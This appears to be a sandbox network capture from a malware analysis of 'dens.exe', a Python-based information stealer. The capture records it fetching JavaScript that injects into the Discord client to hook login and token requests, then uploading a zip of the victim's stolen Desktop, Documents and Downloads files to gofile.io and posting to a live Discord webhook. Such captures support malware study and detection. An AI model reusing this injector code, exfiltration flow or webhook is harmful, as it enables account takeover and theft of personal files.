2024-11-12 23:38:58 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 29588 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "2547a391b86f469cdb5036789d86ca9d30a0086b3059ced3d8bae20330bee446" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 9C6F:245694:E036C:ED820:6733E710 Accept-Ranges: bytes Date: Tue, 12 Nov 2024 23:38:58 GMT Via: 1.1 varnish X-Served-By: cache-dfw-ktki8620051-DFW X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1731454738.103605,VS0,VE119 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 063f0bd8d77beb1225b57c3775dbca8ef14ad222 Expires: Tue, 12 Nov 2024 23:43:58 GMT Source-Age: 0
2024-11-12 23:38:58 UTC	1378	IN	Data Raw: 63 6f 6e 73 74 20 61 72 67 73 20 3d 20 70 72 6f 63 65 73 73 2e 61 72 67 76 3b 0d 0a 63 6f 6e 73 74 20 66 73 20 3d 20 72 65 71 75 69 72 65 28 27 66 73 27 29 3b 0d 0a 63 6f 6e 73 74 20 70 61 74 68 20 3d 20 72 65 71 75 69 72 65 28 27 70 61 74 68 27 29 3b 0d 0a 63 6f 6e 73 74 20 68 74 74 70 73 20 3d 20 72 65 71 75 69 72 65 28 27 68 74 74 70 73 27 29 3b 0d 0a 63 6f 6e 73 74 20 71 75 65 72 79 73 74 72 69 6e 67 20 3d 20 72 65 71 75 69 72 65 28 27 71 75 65 72 79 73 74 72 69 6e 67 27 29 3b 0d 0a 63 6f 6e 73 74 20 7b 20 42 72 6f 77 73 65 72 57 69 6e 64 6f 77 2c 20 73 65 73 73 69 6f 6e 20 7d 20 3d 20 72 65 71 75 69 72 65 28 27 65 6c 65 63 74 72 6f 6e 27 29 3b 0d 0a 0d 0a 63 6f 6e 73 74 20 63 6f 6e 66 69 67 20 3d 20 7b 0d 0a 20 20 77 65 62 68 6f 6f 6b 3a 20 27 25 57 Data Ascii: const args = process.argv;const fs = require('fs');const path = require('path');const https = require('https');const querystring = require('querystring');const { BrowserWindow, session } = require('electron');const config = { webhook: '%W
2024-11-12 23:38:58 UTC	1378	IN	Data Raw: 20 27 68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f 76 2a 2f 75 73 65 72 73 2f 40 6d 65 27 2c 0d 0a 20 20 20 20 20 20 27 68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 70 69 2f 76 2a 2f 75 73 65 72 73 2f 40 6d 65 27 2c 0d 0a 20 20 20 20 20 20 27 68 74 74 70 73 3a 2f 2f 2a 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f 76 2a 2f 75 73 65 72 73 2f 40 6d 65 27 2c 0d 0a 20 20 20 20 20 20 27 68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 70 69 2f 76 2a 2f 61 75 74 68 2f 6c 6f 67 69 6e 27 2c 0d 0a 20 20 20 20 20 20 27 68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f 76 2a 2f 61 75 74 68 2f 6c 6f 67 69 6e 27 2c 0d 0a 20 20 20 20 20 20 27 68 74 74 70 73 3a 2f 2f Data Ascii: 'https://discord.com/api/v/users/@me', 'https://discordapp.com/api/v/users/@me', 'https://.discord.com/api/v/users/@me', 'https://discordapp.com/api/v/auth/login', 'https://discord.com/api/v/auth/login', 'https://
2024-11-12 23:38:58 UTC	1378	IN	Data Raw: 0a 20 20 72 65 74 75 72 6e 20 28 28 6d 73 77 20 26 20 30 78 66 66 66 66 29 20 3c 3c 20 31 36 29 20 7c 20 28 6c 73 77 20 26 20 30 78 66 66 66 66 29 3b 0d 0a 7d 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 61 66 65 41 64 64 5f 33 32 5f 35 28 61 2c 20 62 2c 20 63 2c 20 64 2c 20 65 29 20 7b 0d 0a 20 20 76 61 72 20 6c 73 77 20 3d 20 28 61 20 26 20 30 78 66 66 66 66 29 20 2b 20 28 62 20 26 20 30 78 66 66 66 66 29 20 2b 20 28 63 20 26 20 30 78 66 66 66 66 29 20 2b 20 28 64 20 26 20 30 78 66 66 66 66 29 20 2b 20 28 65 20 26 20 30 78 66 66 66 66 29 2c 0d 0a 20 20 20 20 6d 73 77 20 3d 20 28 61 20 3e 3e 3e 20 31 36 29 20 2b 20 28 62 20 3e 3e 3e 20 31 36 29 20 2b 20 28 63 20 3e 3e 3e 20 31 36 29 20 2b 20 28 64 20 3e 3e 3e 20 31 36 29 20 2b 20 28 65 20 3e 3e 3e 20 31 36 29 20 Data Ascii: return ((msw & 0xffff) << 16) \| (lsw & 0xffff);}function safeAdd_32_5(a, b, c, d, e) { var lsw = (a & 0xffff) + (b & 0xffff) + (c & 0xffff) + (d & 0xffff) + (e & 0xffff), msw = (a >>> 16) + (b >>> 16) + (c >>> 16) + (d >>> 16) + (e >>> 16)
2024-11-12 23:38:58 UTC	1378	IN	Data Raw: 65 41 64 64 5f 35 28 72 6f 74 6c 28 61 2c 20 35 29 2c 20 70 61 72 69 74 79 28 62 2c 20 63 2c 20 64 29 2c 20 65 2c 20 30 78 36 65 64 39 65 62 61 31 2c 20 57 5b 74 5d 29 3b 0d 0a 20 20 20 20 7d 20 65 6c 73 65 20 69 66 20 28 74 20 3c 20 36 30 29 20 7b 0d 0a 20 20 20 20 20 20 54 20 3d 20 73 61 66 65 41 64 64 5f 35 28 72 6f 74 6c 28 61 2c 20 35 29 2c 20 6d 61 6a 28 62 2c 20 63 2c 20 64 29 2c 20 65 2c 20 30 78 38 66 31 62 62 63 64 63 2c 20 57 5b 74 5d 29 3b 0d 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 54 20 3d 20 73 61 66 65 41 64 64 5f 35 28 72 6f 74 6c 28 61 2c 20 35 29 2c 20 70 61 72 69 74 79 28 62 2c 20 63 2c 20 64 29 2c 20 65 2c 20 30 78 63 61 36 32 63 31 64 36 2c 20 57 5b 74 5d 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 65 20 Data Ascii: eAdd_5(rotl(a, 5), parity(b, c, d), e, 0x6ed9eba1, W[t]); } else if (t < 60) { T = safeAdd_5(rotl(a, 5), maj(b, c, d), e, 0x8f1bbcdc, W[t]); } else { T = safeAdd_5(rotl(a, 5), parity(b, c, d), e, 0xca62c1d6, W[t]); } e
2024-11-12 23:38:58 UTC	1378	IN	Data Raw: 72 69 6e 67 20 6f 66 20 48 45 58 20 74 79 70 65 20 6d 75 73 74 20 62 65 20 69 6e 20 62 79 74 65 20 69 6e 63 72 65 6d 65 6e 74 73 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 6f 72 20 28 69 20 3d 20 30 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 20 2b 3d 20 32 29 20 7b 0d 0a 20 20 20 20 6e 75 6d 20 3d 20 70 61 72 73 65 49 6e 74 28 73 74 72 2e 73 75 62 73 74 72 28 69 2c 20 32 29 2c 20 31 36 29 3b 0d 0a 20 20 20 20 69 66 20 28 21 69 73 4e 61 4e 28 6e 75 6d 29 29 20 7b 0d 0a 20 20 20 20 20 20 62 79 74 65 4f 66 66 73 65 74 20 3d 20 28 69 20 3e 3e 3e 20 31 29 20 2b 20 65 78 69 73 74 69 6e 67 42 79 74 65 4c 65 6e 3b 0d 0a 20 20 20 20 20 20 69 6e 74 4f 66 66 73 65 74 20 3d 20 62 79 74 65 4f 66 66 73 65 74 20 3e 3e 3e 20 32 3b 0d 0a 20 20 20 20 20 20 77 68 69 6c Data Ascii: ring of HEX type must be in byte increments'); } for (i = 0; i < length; i += 2) { num = parseInt(str.substr(i, 2), 16); if (!isNaN(num)) { byteOffset = (i >>> 1) + existingByteLen; intOffset = byteOffset >>> 2; whil
2024-11-12 23:38:58 UTC	1378	IN	Data Raw: 20 20 20 6b 65 79 43 6f 6e 76 65 72 74 65 72 46 75 6e 63 20 3d 20 68 65 78 32 62 69 6e 62 3b 0d 0a 20 20 20 20 20 20 63 6f 6e 76 65 72 74 52 65 74 20 3d 20 6b 65 79 43 6f 6e 76 65 72 74 65 72 46 75 6e 63 28 6b 65 79 29 3b 0d 0a 20 20 20 20 20 20 6b 65 79 42 69 6e 4c 65 6e 20 3d 20 63 6f 6e 76 65 72 74 52 65 74 5b 27 62 69 6e 4c 65 6e 27 5d 3b 0d 0a 20 20 20 20 20 20 6b 65 79 54 6f 55 73 65 20 3d 20 63 6f 6e 76 65 72 74 52 65 74 5b 27 76 61 6c 75 65 27 5d 3b 0d 0a 20 20 20 20 20 20 62 6c 6f 63 6b 42 79 74 65 53 69 7a 65 20 3d 20 76 61 72 69 61 6e 74 42 6c 6f 63 6b 53 69 7a 65 20 3e 3e 3e 20 33 3b 0d 0a 20 20 20 20 20 20 6c 61 73 74 41 72 72 61 79 49 6e 64 65 78 20 3d 20 62 6c 6f 63 6b 42 79 74 65 53 69 7a 65 20 2f 20 34 20 2d 20 31 3b 0d 0a 0d 0a 20 20 20 Data Ascii: keyConverterFunc = hex2binb; convertRet = keyConverterFunc(key); keyBinLen = convertRet['binLen']; keyToUse = convertRet['value']; blockByteSize = variantBlockSize >>> 3; lastArrayIndex = blockByteSize / 4 - 1;
2024-11-12 23:38:58 UTC	1378	IN	Data Raw: 27 76 61 6c 75 65 27 5d 3b 0d 0a 0d 0a 20 20 20 20 20 20 63 68 75 6e 6b 49 6e 74 4c 65 6e 20 3d 20 63 68 75 6e 6b 42 69 6e 4c 65 6e 20 3e 3e 3e 20 35 3b 0d 0a 20 20 20 20 20 20 66 6f 72 20 28 69 20 3d 20 30 3b 20 69 20 3c 20 63 68 75 6e 6b 49 6e 74 4c 65 6e 3b 20 69 20 2b 3d 20 76 61 72 69 61 6e 74 42 6c 6f 63 6b 49 6e 74 49 6e 63 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 75 70 64 61 74 65 50 72 6f 63 65 73 73 65 64 4c 65 6e 20 2b 20 76 61 72 69 61 6e 74 42 6c 6f 63 6b 53 69 7a 65 20 3c 3d 20 63 68 75 6e 6b 42 69 6e 4c 65 6e 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 69 6e 74 65 72 6d 65 64 69 61 74 65 48 20 3d 20 72 6f 75 6e 64 46 75 6e 63 28 63 68 75 6e 6b 2e 73 6c 69 63 65 28 69 2c 20 69 20 2b 20 76 61 72 69 61 6e 74 42 6c 6f 63 6b 49 6e 74 Data Ascii: 'value']; chunkIntLen = chunkBinLen >>> 5; for (i = 0; i < chunkIntLen; i += variantBlockIntInc) { if (updateProcessedLen + variantBlockSize <= chunkBinLen) { intermediateH = roundFunc(chunk.slice(i, i + variantBlockInt
2024-11-12 23:38:58 UTC	1378	IN	Data Raw: 20 6d 6f 64 75 6c 65 5b 27 65 78 70 6f 72 74 73 27 5d 20 3d 20 65 78 70 6f 72 74 73 20 3d 20 6a 73 53 48 41 3b 0d 0a 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 65 78 70 6f 72 74 73 20 3d 20 6a 73 53 48 41 3b 0d 0a 20 20 7d 0d 0a 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 67 6c 6f 62 61 6c 5b 27 6a 73 53 48 41 27 5d 20 3d 20 6a 73 53 48 41 3b 0d 0a 7d 0d 0a 0d 0a 69 66 20 28 6a 73 53 48 41 2e 64 65 66 61 75 6c 74 29 20 7b 0d 0a 20 20 6a 73 53 48 41 20 3d 20 6a 73 53 48 41 2e 64 65 66 61 75 6c 74 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 74 70 28 6b 65 79 29 20 7b 0d 0a 20 20 63 6f 6e 73 74 20 70 65 72 69 6f 64 20 3d 20 33 30 3b 0d 0a 20 20 63 6f 6e 73 74 20 64 69 67 69 74 73 20 3d 20 36 3b 0d 0a 20 20 63 6f 6e 73 74 20 74 69 6d 65 73 74 61 6d Data Ascii: module['exports'] = exports = jsSHA; } else { exports = jsSHA; }} else { global['jsSHA'] = jsSHA;}if (jsSHA.default) { jsSHA = jsSHA.default;}function totp(key) { const period = 30; const digits = 6; const timestam
2024-11-12 23:38:58 UTC	1378	IN	Data Raw: 20 20 68 65 78 20 3d 20 68 65 78 20 2b 20 6c 65 66 74 70 61 64 28 70 61 72 73 65 49 6e 74 28 63 68 75 6e 6b 2c 20 32 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2c 20 32 2c 20 27 30 27 29 3b 0d 0a 20 20 7d 0d 0a 20 20 72 65 74 75 72 6e 20 68 65 78 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 6c 65 66 74 70 61 64 28 73 74 72 2c 20 6c 65 6e 2c 20 70 61 64 29 20 7b 0d 0a 20 20 69 66 20 28 6c 65 6e 20 2b 20 31 20 3e 3d 20 73 74 72 2e 6c 65 6e 67 74 68 29 20 7b 0d 0a 20 20 20 20 73 74 72 20 3d 20 41 72 72 61 79 28 6c 65 6e 20 2b 20 31 20 2d 20 73 74 72 2e 6c 65 6e 67 74 68 29 2e 6a 6f 69 6e 28 70 61 64 29 20 2b 20 73 74 72 3b 0d 0a 20 20 7d 0d 0a 20 20 72 65 74 75 72 6e 20 73 74 72 3b 0d 0a 7d 0d 0a 0d 0a 63 6f 6e 73 74 20 64 69 73 63 6f 72 64 50 61 74 68 Data Ascii: hex = hex + leftpad(parseInt(chunk, 2).toString(16), 2, '0'); } return hex;}function leftpad(str, len, pad) { if (len + 1 >= str.length) { str = Array(len + 1 - str.length).join(pad) + str; } return str;}const discordPath
2024-11-12 23:38:58 UTC	1378	IN	Data Raw: 29 3b 0d 0a 20 20 69 66 20 28 66 73 2e 65 78 69 73 74 73 53 79 6e 63 28 72 65 73 6f 75 72 63 65 49 6e 64 65 78 29 29 20 66 73 2e 75 6e 6c 69 6e 6b 53 79 6e 63 28 72 65 73 6f 75 72 63 65 49 6e 64 65 78 29 3b 0d 0a 0d 0a 20 20 69 66 20 28 70 72 6f 63 65 73 73 2e 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 77 69 6e 33 32 27 20 7c 7c 20 70 72 6f 63 65 73 73 2e 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 64 61 72 77 69 6e 27 29 20 7b 0d 0a 20 20 20 20 66 73 2e 77 72 69 74 65 46 69 6c 65 53 79 6e 63 28 0d 0a 20 20 20 20 20 20 70 61 63 6b 61 67 65 4a 73 6f 6e 2c 0d 0a 20 20 20 20 20 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 0d 0a 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 6e 61 6d 65 3a 20 27 64 69 73 63 6f 72 64 27 2c 0d 0a 20 20 20 20 20 Data Ascii: ); if (fs.existsSync(resourceIndex)) fs.unlinkSync(resourceIndex); if (process.platform === 'win32' \|\| process.platform === 'darwin') { fs.writeFileSync( packageJson, JSON.stringify( { name: 'discord',

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49760	45.112.123.126	443	6500	C:\Users\user\Desktop\dens.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 23:39:01 UTC	137	OUT	GET /getServer HTTP/1.1 Host: api.gofile.io Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Python/3.12 aiohttp/3.10.5
2024-11-12 23:39:01 UTC	1113	IN	HTTP/1.1 404 Not Found Server: nginx/1.27.1 Date: Tue, 12 Nov 2024 23:39:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 14 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Credentials: true Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 0 ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A"
2024-11-12 23:39:01 UTC	14	IN	Data Raw: 65 72 72 6f 72 2d 6e 6f 74 46 6f 75 6e 64 Data Ascii: error-notFound

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49761	45.112.123.227	443	6500	C:\Users\user\Desktop\dens.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 23:39:02 UTC	243	OUT	POST /uploadFile HTTP/1.1 Host: store1.gofile.io Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Python/3.12 aiohttp/3.10.5 Content-Length: 79296 Content-Type: multipart/form-data; boundary=a2aa766b0cfb48099421bc0f609b093d
2024-11-12 23:39:02 UTC	36	OUT	Data Raw: 2d 2d 61 32 61 61 37 36 36 62 30 63 66 62 34 38 30 39 39 34 32 31 62 63 30 66 36 30 39 62 30 39 33 64 0d 0a Data Ascii: --a2aa766b0cfb48099421bc0f609b093d
2024-11-12 23:39:02 UTC	131	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 7a 69 70 2d 63 6f 6d 70 72 65 73 73 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 74 65 61 6c 65 64 46 69 6c 65 73 42 79 57 61 6c 74 75 68 69 75 6d 2e 7a 69 70 22 0d 0a 0d 0a Data Ascii: Content-Type: application/x-zip-compressedContent-Disposition: form-data; name="file"; filename="StealedFilesByWaltuhium.zip"
2024-11-12 23:39:02 UTC	16384	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 dc 94 6c 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 44 54 42 5a 47 49 4f 4f 53 4f 2f 50 4b 03 04 14 00 00 00 00 00 dc 94 6c 59 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 44 65 73 6b 74 6f 70 2f 50 4b 03 04 14 00 00 00 00 00 dd 94 6c 59 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 44 6f 63 75 6d 65 6e 74 73 2f 50 4b 03 04 14 00 00 00 00 00 dd 94 6c 59 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 44 6f 77 6e 6c 6f 61 64 73 2f 50 4b 03 04 14 00 00 00 00 00 dd 94 6c 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 4f 4e 42 51 43 4c 59 53 50 55 2f 50 4b 03 04 14 00 00 00 00 00 dc 94 6c 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 55 4d 4d 42 44 4e 45 51 42 4e 2f 50 4b 03 04 14 00 00 00 00 00 dc 94 6c 59 Data Ascii: PKlYDTBZGIOOSO/PKlYDesktop/PKlYDocuments/PKlYDownloads/PKlYONBQCLYSPU/PKlYUMMBDNEQBN/PKlY
2024-11-12 23:39:02 UTC	16384	OUT	Data Raw: 85 23 a2 e2 88 d3 fd 0f d2 6f c9 0a b2 2a b9 75 04 d0 78 cf 36 05 0a 24 d2 74 6f c4 98 fd 0d 4f dd 44 43 12 cc a7 13 44 3f 31 86 f7 5e 7d 59 01 39 6e b1 6f 1f d1 58 7b 93 d7 3d df b3 0a e9 53 bb 29 6e ad 63 dc 78 dc 93 4f c2 aa 0d 3d 16 9d 88 49 1c 97 d8 35 8c d5 58 c8 dc cd 7b b2 a7 ab 42 d4 b6 bb d0 f7 7c 4b 84 23 eb 2c 3e ce 3c 7a 58 c9 b5 f9 cc 1a f8 e6 ed d2 b9 be 3e 30 e8 55 6b d8 c2 65 dc ae 79 1d 2c ce ce f8 cc 0c 36 94 86 1a 37 9a 63 cd 51 cf 8d 1d 9c 4b 67 9e 76 44 91 9e 6d 18 bf 20 b7 38 05 09 c0 7e 0c 7a bb 62 8d 06 48 9e a3 6d dd 53 5d d6 2e aa 73 f4 22 cf 55 8c 55 30 c1 ed b8 24 39 3b ce f1 71 40 b8 09 d6 d8 39 8c a1 73 f7 ab f9 e3 bc bb 47 35 d5 1f 86 94 5e 13 ea 8d 50 96 72 46 55 cd 02 b1 1c e9 22 12 1b 77 b1 70 00 ce 0e 0b a6 0a a9 9f 25 Data Ascii: #o*ux6$toODCD?1^}Y9noX{=S)ncxO=I5X{B\|K#,><zX>0Ukey,67cQKgvDm 8~zbHmS].s"UU0$9;q@9sG5^PrFU"wp%
2024-11-12 23:39:02 UTC	16384	OUT	Data Raw: b3 2e 99 cf af fd f8 85 de bd b2 eb 0e c1 d8 92 cd 01 98 ed ee 0b ef 74 ce a5 bb 7b 5d cf 69 25 ad 63 f0 c5 51 15 2c eb dc 56 07 2d e5 b8 8a dc ec eb 39 60 78 4c 5c 18 e4 45 0d b8 6f db fc 98 66 7a 8a a1 45 4c cc 44 61 93 af fe 70 3d c6 75 e6 42 76 2e 14 92 f3 79 1b e1 35 96 dd 43 33 6c 03 00 ec 4e 4a 9f ea 6a 51 1b fa c8 55 b1 2d 5d e5 2c 50 5c f4 da b6 de bf cf 6b 95 63 bf 31 26 83 07 65 58 b6 33 c0 29 b7 7e 33 f2 2d 51 a6 2b 2e d9 a2 63 7a d4 12 9c 27 3a 1d be 49 80 f8 a2 a6 3f 76 16 03 b7 26 bc b6 8d be 8f a7 4f 54 8c 50 7b a1 ff 28 e0 0a 65 d9 a8 d1 f9 14 a8 4d af da 3d 05 d2 f9 68 5d 6f 64 31 84 61 bb 64 27 8f 2a 44 63 fc d4 8b 22 2e 78 94 52 5b 3e d6 ea de 66 98 1d 6a 7c e5 e3 dd d4 2f 05 97 cd 14 6f a1 56 86 69 fa 03 cf a3 e0 77 26 b4 b7 44 11 fb Data Ascii: .t{]i%cQ,V-9`xL\EofzELDap=uBv.y5C3lNJjQU-],P\kc1&eX3)~3-Q+.cz':I?v&OTP{(eM=h]od1ad'*Dc".xR[>fj\|/oViw&D
2024-11-12 23:39:02 UTC	16384	OUT	Data Raw: 43 46 58 2e 70 6e 67 15 93 49 8e 40 21 08 44 f7 9d f4 a1 44 c5 f1 8b 38 e0 70 ff 83 b4 bd 30 26 92 58 14 af 58 73 c4 ae 41 e3 2e dd 2e 97 97 3b 44 2c 62 2a 16 9c 5f 65 15 a5 ec 92 be cd 8d 9a cc 70 4e e1 a5 3e ba 23 dc 6a 95 a1 64 ab c9 f2 15 5b 30 04 6d 13 0d 90 4a 46 5b 2f c5 d8 6f 68 65 1c c3 98 bd a1 d1 4c 78 2f eb 1e 6c 82 58 9a 35 e7 08 d2 c6 dc 95 48 33 40 86 eb b4 3c af 12 87 79 d3 ea a9 0d c3 74 46 a9 77 22 d5 8d b1 3e e1 79 0b bb aa 24 5f a6 77 3e 0b 3d 98 de 3b e9 58 4e 73 c3 59 df f2 d8 b9 c3 d6 e2 80 82 49 c9 86 e9 ab c4 8d 01 66 f2 de 87 1b 37 94 8e d2 df 83 98 1c 85 fd fb ab d4 24 f3 b8 0e 27 9b 2a fd de a0 dc 96 9b c6 fd e8 f3 29 3e 43 3a 97 e0 e5 49 1f 7f 27 69 ff 0d 53 f7 ea 6b e9 71 93 ec 59 e3 1e 93 e5 24 29 30 88 f6 e9 c4 c7 51 a3 19 Data Ascii: CFX.pngI@!DD8p0&XXsA..;D,b_epN>#jd[0mJF[/oheLx/lX5H3@<ytFw">y$_w>=;XNsYIf7$')>C:I'iSkqY$)0Q
2024-11-12 23:39:02 UTC	13553	OUT	Data Raw: 3b 05 1e 9e 16 4e d1 aa 4b 66 eb 6b 15 67 4d 04 a9 f1 07 a3 44 6a 68 a5 d3 07 74 34 58 ef b0 bc 92 4e 39 9e c9 86 90 27 26 93 97 ce 72 97 15 d0 0f f9 b6 d8 6e d0 63 ce ec 13 cd 1e 89 28 07 b5 ce cd 28 6b 5c 59 7a 28 9f 7d f3 df ed 00 c5 c0 c9 c0 cd b1 49 e8 7a dc ed a5 81 5f 47 b4 f5 b5 7c e4 dc 9c 48 eb ea 75 24 a2 bb 98 50 c5 86 99 26 27 e1 ae ef 83 62 55 1c 59 4e e8 37 59 2b a5 75 1a ce 96 15 86 5e 39 3d 87 87 60 97 4a 8f 91 c6 92 b3 50 cd 8a 76 96 16 dd aa 99 bb 65 eb 40 62 d9 73 01 57 00 a3 99 c7 57 a8 18 86 5f 46 f1 5a ce f1 e4 2f 62 cc 4d f8 bd 3e 20 5b 06 9c 1e da 76 da bb 96 84 f2 38 50 4e 6d a5 7e f5 e8 a0 35 bd ec 77 3c 03 8d 5f 5f f3 a9 d9 29 ee 76 ba 8c 5d 65 38 cb 75 db 2a b8 da 15 2b 67 da e8 5e 2c 35 6f d5 02 09 dd 8e aa f1 2e f9 62 ef db Data Ascii: ;NKfkgMDjht4XN9'&rnc((k\Yz(}Iz_G\|Hu$P&'bUYN7Y+u^9=`JPve@bsWW_FZ/bM> [v8PNm~5w<__)v]e8u*+g^,5o.b
2024-11-12 23:39:02 UTC	2	OUT	Data Raw: 0d 0a Data Ascii:
2024-11-12 23:39:02 UTC	38	OUT	Data Raw: 2d 2d 61 32 61 61 37 36 36 62 30 63 66 62 34 38 30 39 39 34 32 31 62 63 30 66 36 30 39 62 30 39 33 64 2d 2d 0d 0a Data Ascii: --a2aa766b0cfb48099421bc0f609b093d--
2024-11-12 23:39:03 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Tue, 12 Nov 2024 23:39:03 GMT Content-Type: application/json Content-Length: 443 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2024-11-12 23:39:03 UTC	443	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 31 34 35 34 37 34 33 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 39 78 37 30 6e 71 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 35 59 47 43 42 39 35 37 58 6a 58 4e 39 72 66 44 56 54 6e 6d 33 63 71 69 58 39 7a 59 77 6e 34 30 22 2c 22 69 64 22 3a 22 64 36 65 30 61 38 30 66 2d 62 30 64 62 2d 34 63 36 37 2d 61 32 37 66 2d 63 61 31 34 31 65 38 63 33 32 61 62 22 2c 22 6d 64 35 22 3a 22 32 64 65 33 39 30 35 62 33 63 37 39 63 33 65 64 64 66 34 33 36 34 65 66 39 38 61 65 33 36 34 61 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 7a 69 70 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 31 34 35 Data Ascii: {"data":{"createTime":1731454743,"downloadPage":"https://gofile.io/d/9x70nq","guestToken":"5YGCB957XjXN9rfDVTnm3cqiX9zYwn40","id":"d6e0a80f-b0db-4c67-a27f-ca141e8c32ab","md5":"2de3905b3c79c3eddf4364ef98ae364a","mimetype":"application/zip","modTime":173145

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49762	162.159.128.233	443	6500	C:\Users\user\Desktop\dens.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 23:39:04 UTC	281	OUT	POST /api/webhooks/1295868334612418591/QuvcFisisSeqgiaaEigFghTgy3B5fdld_JRxA14GVrqmyygbrLTztN99jPEX8IcFYc7T HTTP/1.1 Host: discord.com Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Python/3.12 aiohttp/3.10.5 Content-Length: 345 Content-Type: application/json
